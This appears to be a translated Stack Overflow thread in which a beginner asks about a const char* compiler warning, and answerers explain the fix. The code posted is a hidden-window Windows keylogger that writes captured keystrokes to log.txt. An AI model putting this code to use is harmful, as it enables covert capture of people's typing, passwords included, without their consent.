【问题标题】:Errors after attempting to compile C++ program [duplicate]尝试编译 C++ 程序后出错 [重复]
【发布时间】:2018-11-28 18:17:22
【问题描述】:

我最近有一个问题得到了解决(正在用 c 编译器编译一个 c++ 程序),但它在从网站复制的代码中带来了一些新错误。使用g++ -o wowie wowie.c命令编译下面的代码后,

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char* file);
int main()
{
    FreeConsole();
    char i;
    while (true) {
        Sleep(10);
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                Save(i, "log.txt");
            }
        }
    }
    return 0;
}
int Save(int _key, char* file)
{
    cout << _key << endl;
    Sleep(10);
    FILE* OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    if (_key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
        fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
        fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RETURN)
        fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else
        fprintf(OUTPUT_FILE, "%s", &_key);
    fclose(OUTPUT_FILE);
    return 0;
}

命令提示符说:

wowie.c: In function 'int main()':
wowie.c:12:19: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
  Save(i, "log.txt");
               ^

代码中有错误还是我做错了,我该如何解决?如果有人可以提供帮助,我将不胜感激。谢谢! (使用 GCC 编译器,windows 10 64 位)

【问题讨论】:

  • 我在您的代码中看到的唯一 C++ 是 cout。您使用的是 C API 吗? Save 似乎需要一个 chars(C 风格的字符串)数组作为其第二个参数,而不是 C++ std::string。警告告诉您,从 C++ 字符串文字隐式转换为 C 样式字符串已被弃用。
  • 我不确定 Windows,但我认为 fprintf&lt;cstdio&gt; 中,您需要包含它

标签: c++ gcc compiler-errors compilation deprecated


【解决方案1】:

字符串字面量的类型为const char[N](你不应该修改它们),它可以转换为`const char。

您正在将一个参数传递给一个参数为char* 的函数,这意味着该函数可以修改字符串,这很可能会导致意外结果。

你应该将你的Save 函数改为const char*,除非它真的需要修改传递给它的文件名:

int Save(int _key, const char *file);

【讨论】:

  • 对于如何处理这个问题仍然有点困惑。对不起,我还是个初学者!
  • 吹毛求疵:字符串文字是const char[N],而不是指针。
  • “不应该”是轻描淡写,您不能修改它们。
  • @user9963001 只需更改您的函数声明以匹配我发布的内容
  • @BaummitAugen 这是 c++,你不应该但可能能够,只需丢弃 const 并且你可以随意修改它们。这绝对是 UB,您的操作系统可能已将它们加载到只读页面中,这会阻止这种情况。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多